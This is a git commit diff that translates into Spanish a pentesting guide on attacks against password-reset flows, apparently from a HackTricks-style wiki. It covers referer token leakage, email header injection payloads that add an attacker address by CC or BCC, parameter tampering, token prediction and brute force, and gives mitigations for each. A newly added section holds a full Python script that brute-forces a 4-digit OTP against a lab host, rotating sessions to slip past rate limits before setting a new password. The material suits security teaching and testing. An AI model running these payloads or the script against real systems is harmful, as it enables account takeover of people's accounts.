Translated ['src/pentesting-web/reset-password.md'] to es

This commit is contained in:
Translator 2025-04-13 14:42:46 +00:00
parent 5acdf61434
commit 4ec857269e

View File

@ -4,8 +4,8 @@
## **Filtración del Token de Restablecimiento de Contraseña a Través del Referente**
- El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si está incluido en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
- **Impacto**: Toma de control potencial de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
- El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
- **Impacto**: Posible toma de control de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
- **Explotación**: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, **solicita un restablecimiento de contraseña** a tu dirección de correo electrónico y **haz clic en el enlace de restablecimiento** proporcionado. **No cambies tu contraseña** de inmediato. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las solicitudes usando Burp Suite**. Inspecciona las solicitudes para ver si el **encabezado referer contiene el token de restablecimiento de contraseña**, ya que esto podría exponer información sensible a terceros.
- **Referencias**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
@ -51,7 +51,7 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Agrega el correo electrónico del atacante como segundo parámetro usando bcc
- Agregar el correo electrónico del atacante como segundo parámetro usando bcc
```php
POST /resetPassword
[...]
@ -86,23 +86,23 @@ POST /api/changepass
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Pasos de Mitigación**:
- Asegurar una validación estricta de parámetros y verificaciones de autenticación.
- Implementar un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
- Asegúrese de una validación estricta de parámetros y verificaciones de autenticación.
- Implemente un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
- **Referencia**:
- [Toma de Control Completa de Cuenta a través de Manipulación de Parámetros API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Toma de Control Completa de Cuenta a través de Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Sin Limitación de Tasa: Bombardeo de Correos Electrónicos**
- La falta de limitación de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos de restablecimiento.
- **Pasos de Mitigación**:
- Implementar limitación de tasa basada en la dirección IP o cuenta de usuario.
- Usar desafíos CAPTCHA para prevenir abusos automatizados.
- Implemente limitación de tasa basada en la dirección IP o la cuenta de usuario.
- Use desafíos CAPTCHA para prevenir abusos automatizados.
- **Referencias**:
- [Informe de HackerOne 280534](https://hackerone.com/reports/280534)
## **Descubrir Cómo se Genera el Token de Restablecimiento de Contraseña**
- Entender el patrón o método detrás de la generación de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
- Comprender el patrón o método detrás de la generación de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
- Basado en Timestamp
- Basado en el UserID
- Basado en el correo electrónico del Usuario
@ -110,9 +110,9 @@ POST /api/changepass
- Basado en Fecha de Nacimiento
- Basado en Criptografía
- **Pasos de Mitigación**:
- Usar métodos criptográficos fuertes para la generación de tokens.
- Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
- **Herramientas**: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
- Use métodos criptográficos fuertes para la generación de tokens.
- Asegúrese de suficiente aleatoriedad y longitud para prevenir la predictibilidad.
- **Herramientas**: Use Burp Sequencer para analizar la aleatoriedad de los tokens.
## **UUID Adivinable**
@ -123,48 +123,112 @@ uuid-insecurities.md
{{#endref}}
- **Pasos de Mitigación**:
- Usar GUID versión 4 para aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
- Use GUID versión 4 para aleatoriedad o implemente medidas de seguridad adicionales para otras versiones.
- **Herramientas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
## **Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena**
- Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
- **Pasos de Mitigación**:
- Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
- Usar canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
- Implemente verificaciones del lado del servidor para asegurar la integridad de la respuesta.
- Use canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
- **Referencia**:
- [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Error Crítico en Evento de Recompensa de Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Uso de Token Expirado**
- Probar si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
- Probando si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
- **Pasos de Mitigación**:
- Implementar políticas estrictas de expiración de tokens y validar la expiración del token del lado del servidor.
- Implemente políticas estrictas de expiración de tokens y valide la expiración del token del lado del servidor.
## **Fuerza Bruta del Token de Restablecimiento de Contraseña**
- Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
- **Pasos de Mitigación**:
- Implementar mecanismos robustos de limitación de tasa y bloqueo de cuentas.
- Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.
- Implemente mecanismos robustos de limitación de tasa y bloqueo de cuentas.
- Monitoree actividades sospechosas indicativas de ataques de fuerza bruta.
## **Intenta Usar Tu Token**
## **Intente Usar Su Token**
- Probar si el token de restablecimiento del atacante puede ser utilizado junto con el correo electrónico de la víctima.
- Probando si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electrónico de la víctima.
- **Pasos de Mitigación**:
- Asegurar que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
- Asegúrese de que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
## **Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña**
- Asegurar que las sesiones se invaliden cuando un usuario cierra sesión o restablece su contraseña.
- Asegurándose de que las sesiones se invaliden cuando un usuario cierra sesión o restablece su contraseña.
- **Pasos de Mitigación**:
- Implementar una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesión o restablecer la contraseña.
- Implemente una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesión o restablecer la contraseña.
## **Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña**
- Los tokens de restablecimiento deben tener un tiempo de expiración después del cual se vuelven inválidos.
- **Pasos de Mitigación**:
- Establecer un tiempo de expiración razonable para los tokens de restablecimiento y hacer cumplir estrictamente esto del lado del servidor.
- Establezca un tiempo de expiración razonable para los tokens de restablecimiento y aplíquelo estrictamente del lado del servidor.
## **Eludir el límite de tasa de OTP cambiando su sesión**
- Si el sitio web está utilizando la sesión del usuario para rastrear intentos incorrectos de OTP y el OTP era débil ( <= 4 dígitos), entonces podemos forzar efectivamente el OTP.
- **explotación**:
- simplemente solicite un nuevo token de sesión después de ser bloqueado por el servidor.
- **Ejemplo** de código que explota este error adivinando aleatoriamente el OTP (cuando cambie la sesión, el OTP también cambiará, ¡y así no podremos forzarlo secuencialmente!):
``` python
# Bypass de autenticación por restablecimiento de contraseña
# por coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] ¡Iniciando ataque!")
sleep(3)
print("[+] ¡Esto puede tardar alrededor de 5 minutos en terminar!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatorio de 0 - 9999 con 4 d
parms["s"] = 164 # no importante, solo afecta el frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # seguir número de intentos
out = requests.get(logout,headers=headers) # te cierra sesión
mainp = requests.get(root) # obtiene otro phpssid (token)
cookies = out.cookies # extraer el sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # actualizar los headers con nueva sesión
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envía el correo para cambiar la contraseña
ter = 0 # reiniciar ter para obtener una nueva sesión después de 8 intentos
else:
ter += 1
if(len(res.text) == 2292): # esta es la longitud de la página cuando obtienes el código de recuperación correctamente (obtenido por prueba)
print(len(res.text)) # para información de depuración
print(phpsessid)
reset_data = { # aquí cambiaremos la contraseña a algo nuevo
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] ¡La contraseña ha sido cambiada a:D37djkamd!")
break
except Exception as e:
print("[+] Ataque detenido")
```
## Referencias